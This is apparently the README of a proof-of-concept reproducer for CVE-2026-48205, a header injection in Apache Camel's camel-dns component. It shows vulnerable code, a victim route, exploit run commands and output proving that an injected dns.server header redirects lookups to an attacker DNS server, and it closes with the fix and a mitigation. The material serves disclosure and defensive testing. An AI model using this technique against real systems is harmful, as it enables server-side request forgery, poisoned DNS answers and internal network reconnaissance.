camel-dns dns.* / term Header Injection Reproducer (CVE-2026-48205)

Este projeto demonstra uma injeção de cabeçalho de mensagem no componente camel-dns do Apache Camel, rastreada como CVE-2026-48205. Os produtores DNS leem seus parâmetros de operação — o resolvedor a consultar, o nome/domínio a pesquisar, o tipo/classe de registro e o termo de busca — de cabeçalhos Exchange cujos valores constantes (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) eram as strings simples dns.server, dns.name, dns.domain, dns.type, dns.class e term. Como esses nomes não começam com o prefixo Camel / camel, o HttpHeaderFilterStrategy — que bloqueia apenas o namespace de cabeçalhos Camel no limite HTTP — permite que eles passem de uma requisição HTTP de entrada diretamente para o Exchange.

Em uma rota que faz a ponte entre um consumidor HTTP (por exemplo, platform-http) e um produtor dns:, qualquer cliente HTTP pode, portanto, definir o cabeçalho dns.server para fazer com que o produtor dig construa um SimpleResolver apontando para um servidor DNS controlado pelo atacante — uma falsificação de solicitação do lado do servidor via DNS, através da qual o atacante observa o nome consultado e pode retornar respostas envenenadas — e pode definir dns.name / dns.domain para resolver nomes de host internos arbitrários (reconhecimento de rede interna).

Advertência: https://camel.apache.org/security/CVE-2026-48205.html

Resumo da Vulnerabilidade

A correção renomeia os cabeçalhos para CamelDnsServer / CamelDnsName / etc., de modo que sejam filtrados no limite HTTP como qualquer outro cabeçalho de controle Camel. Mesma família que CVE-2025-27636, CVE-2026-46454 e CVE-2026-47323.

Detalhes Técnicos

// DnsConstants (afetado 4.18.2) — os nomes dos cabeçalhos de controle são strings simples, sem prefixo Camel:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME   = "dns.name";

// DnsDigProducer.process (afetado 4.18.2) — o destino do resolvedor vem diretamente do cabeçalho:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server);        // <-- servidor DNS controlado pelo atacante
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — a consulta vai para o servidor do atacante

A correção (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) renomeia os valores para a convenção CamelDns*.

A rota vítima

from("platform-http:/lookup")
    .setHeader("dns.name", constant("example.com"))
    .setHeader("dns.type", constant("A"))
    .setHeader("dns.class", constant("IN"))
    .to("dns:dig");                                          // sem dns.server -> resolvedor padrão (intencional)

A rota consulta um nome fixo contra o resolvedor padrão. O atacante adiciona um único cabeçalho dns.server e a consulta é redirecionada para o servidor DNS do atacante. (dns.server está em minúsculas, então sobrevive à normalização de cabeçalhos de um contêiner servlet — platform-http é suficiente.)

Layout do repositório

Tudo é executado em um único contêiner autossuficiente: a rota vítima, o servidor DNS falso do atacante (UDP 53) e o driver do atacante.

CVE-2026-48205/
├── pom.xml                 # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml      # serviço único autossuficiente
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FakeDnsServer.java     # servidor DNS do atacante na porta UDP 53 (registra a consulta redirecionada)
    │   ├── VictimRoute.java       # platform-http:/lookup -> dns:dig
    │   └── ExploitController.java # atacante: injeta dns.server=127.0.0.1
    └── resources/
        └── application.properties

Pré-requisitos

• Docker e Docker Compose (o servidor DNS falso vincula a porta UDP 53, que requer root — o contêiner é executado como root)
• Java 17+ e Maven 3.8+ (para construir o jar)

Passos para Reprodução

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Saída esperada

=== 1) Legitimate request (no dns.server header) — default resolver ===
  attacker's DNS server was queried: false

=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
  attacker's DNS server was queried: true
  observed lookup name: example.com.

>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true

O servidor DNS do atacante agora vê o nome de consulta da vítima (e poderia retornar uma resposta envenenada). Apontar dns.server para um resolvedor DNS interno real, ou definir dns.name para nomes de host internos, permite o reconhecimento da rede interna.

Correção Recomendada

Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). Após a atualização, as rotas que conduzem operações DNS através de cabeçalhos devem usar CamelDnsServer / CamelDnsName / etc.

Mitigação

Até a atualização, remova os cabeçalhos dns.* e term de qualquer entrada não confiável antes do produtor dns:, e defina o servidor DNS e os parâmetros de consulta a partir de uma fonte confiável na rota.

Aviso

Este reprodutor é fornecido para pesquisa de segurança e testes autorizados apenas, para uma vulnerabilidade divulgada publicamente e corrigida. Não o use contra sistemas sem permissão explícita.